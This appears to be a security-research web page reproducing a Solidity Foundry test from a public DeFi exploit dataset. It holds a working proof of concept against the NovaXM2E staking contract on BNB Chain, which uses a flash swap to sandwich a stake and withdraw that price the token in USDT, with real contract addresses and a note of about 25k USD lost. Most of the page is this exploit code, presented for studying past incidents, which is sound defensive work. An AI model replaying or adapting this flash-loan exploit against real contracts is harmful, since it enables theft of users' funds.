Skip to content
THREATWIRE

Public reproduction file

src/test/2024-08/NovaXM2E_exp.sol

Public reproduction file for dataset entry Novax.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-08/NovaXM2E_exp.sol71 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo -- Total Lost : ~25k USD
8// TX : https://bscscan.com/tx/0xb1ad1188d620746e2e64785307a7aacf2e8dbda4a33061a4f2fbc9721048e012
9// GUY : https://x.com/EXVULSEC/status/1820676684410147276
10// Reason: stake contract will change the token value into usdt value,and withdraw will use this value to cal the amount of token to the
11// attacker, so it's easy to sandwitch the stake and withdraw.
13interface ITokenStake {
14 function stakeIndex() external returns (uint256);
16 function stake(uint256 _poolId, uint256 _stakeValue) external;
18 function withdraw(
19 uint256 _stakeId
20 ) external;
23contract ContractTest is Test {
24 IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
25 Uni_Router_V2 constant router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
26 Uni_Pair_V2 constant Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
27 IERC20 constant USDT = IERC20((0x55d398326f99059fF775485246999027B3197955));
28 IERC20 NovaXM2E = IERC20(0xB800AFf8391aBACDEb0199AB9CeBF63771FcF491);
29 uint256 swapamount;
30 ITokenStake tokenStake = ITokenStake(0x55C9EEbd368873494C7d06A4900E8F5674B11bD2);
32 function setUp() public {
33 vm.createSelectFork("bsc", 41_116_210);
34 deal(address(USDT), address(this), 0);
35 }
37 function testExploit() public {
38 emit log_named_decimal_uint("[End] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
39 swapamount = 500_000 ether;
40 Pair.swap(swapamount, 0, address(this), new bytes(1));
41 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
42 }
44 function pancakeCall(
45 address, /*sender*/
46 uint256, /*amount0*/
47 uint256, /*amount1*/
48 bytes calldata /*data*/
49 ) public {
50 swap_token_to_token(address(USDT), address(NovaXM2E), USDT.balanceOf(address(this)));
51 NovaXM2E.approve(address(tokenStake), NovaXM2E.balanceOf(address(this)));
52 tokenStake.stake(0, NovaXM2E.balanceOf(address(this)) / 2);
53 swap_token_to_token(address(NovaXM2E), address(USDT), NovaXM2E.balanceOf(address(this)));
54 uint256 stakeIndex = tokenStake.stakeIndex();
55 tokenStake.withdraw(stakeIndex);
56 swap_token_to_token(address(NovaXM2E), address(USDT), NovaXM2E.balanceOf(address(this)));
57 USDT.transfer(address(Pair), swapamount * 10_000 / 9975 + 1000);
58 }
60 receive() external payable {
61 // payable(address(MARS)).transfer(address(this).balance);
62 }
64 function swap_token_to_token(address a, address b, uint256 amount) internal {
65 IERC20(a).approve(address(router), amount);
66 address[] memory path = new address[](2);
67 path[0] = address(a);
68 path[1] = address(b);
69 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
70 }

Analysis

Dataset entry

Public Foundry test for “Novax” (2024-08-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Novax
Path
src/test/2024-08/NovaXM2E_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6a5b1124b80d00a4ff930df817042a29a6ded32b
Language
Solidity
Size
72 lines
Date
2024-08-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-08/NovaXM2E_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6a5b1124b80d00a4ff930df817042a29a6ded32b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.